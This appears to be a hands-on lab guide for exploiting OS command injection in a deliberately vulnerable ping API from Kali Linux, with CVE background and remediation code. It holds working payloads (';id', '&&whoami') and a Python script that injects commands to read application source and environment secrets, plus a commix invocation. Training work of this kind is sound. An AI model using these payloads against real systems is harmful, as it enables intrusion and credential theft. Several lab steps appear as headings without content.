Exploit OS command injection in a live network diagnostic API from Kali Linux:
Basic injection — append ;id and &&whoami to a ping host parameter
Pipe chaining — use | to replace command output entirely
Blind injection — write files to prove code execution when output is hidden
os.popen / subprocess.run variants — exploit three different vulnerable code patterns
Background
Command injection occurs when user input is passed to a system shell without sanitisation. Unlike SQLi which is database-specific, OS command injection gives an attacker direct shell access on the host.
Real-world examples:
2021 Pulse Connect Secure (CVE-2021-22893) — command injection via file path parameter; CVSS 10.0; exploited by state-sponsored groups against US government agencies before a patch existed.
2022 Confluence Server (CVE-2022-26134) — OGNL template injection leading to OS command execution; mass exploitation within 24 hours of disclosure.
2014 Shellshock (CVE-2014-6271) — Bash environment variable injection via () { :; };; millions of servers exploitable via HTTP headers, CGI scripts, DHCP, SSH.
OWASP: A03:2021 Injection
Architecture
Time
40 minutes
Lab Instructions
Step 1: Setup
Step 2: Launch Kali
Step 3: Basic Injection — Semicolon and Pipe
📸 Verified Output:
Step 4: Exploit All Vulnerable Endpoints
📸 Verified Output:
Step 5: Blind Injection — When Output Is Hidden
📸 Verified Output:
Step 6: Read Application Secrets
Step 7: Automated Discovery with Commix
Step 8: Cleanup
Remediation
Defence
What it prevents
Avoid shell=True
Shell metacharacter injection (;, `
Input allowlist
Only allow expected characters for each parameter type
Parameterised exec
Arguments passed as list, never concatenated into shell string
python3 << 'EOF'
import urllib.request, urllib.parse, json
T = "http://victim-adv03:5000"
# Read source code
for cmd in ["cat /app/victim.py", "env", "cat /proc/self/cmdline"]:
url = T + "/api/ping?host=" + urllib.parse.quote(f"127.0.0.1;{cmd}")
r = json.loads(urllib.request.urlopen(url, timeout=8).read())
output = r.get('output','')
# Get last part after ping output
parts = output.split('\n')
injected = '\n'.join([l for l in parts if l and 'PING' not in l and 'bytes' not in l and 'packet' not in l and '---' not in l])
print(f"[{cmd}]\n{injected[:300]}\n")
EOF
# Commix is a dedicated command injection testing tool (available in Kali)
commix --url "http://victim-adv03:5000/api/ping?host=127.0.0.1" \
--param=host \
--technique=classic \
--batch \
--os-cmd=id \
2>/dev/null | grep -E "uid|root|injected|success|payload" | head -10
import subprocess, shlex
# VULNERABLE
out = subprocess.check_output(f"ping -c1 {host}", shell=True)
# SAFE: avoid shell=True, pass args as list
def safe_ping(host):
# Allowlist validation
import re
if not re.match(r'^[a-zA-Z0-9.\-]+$', host):
raise ValueError("Invalid host")
# No shell=True — OS does not interpret shell metacharacters
out = subprocess.check_output(["ping", "-c", "1", "-W", "1", host],
timeout=5, stderr=subprocess.DEVNULL)
return out.decode()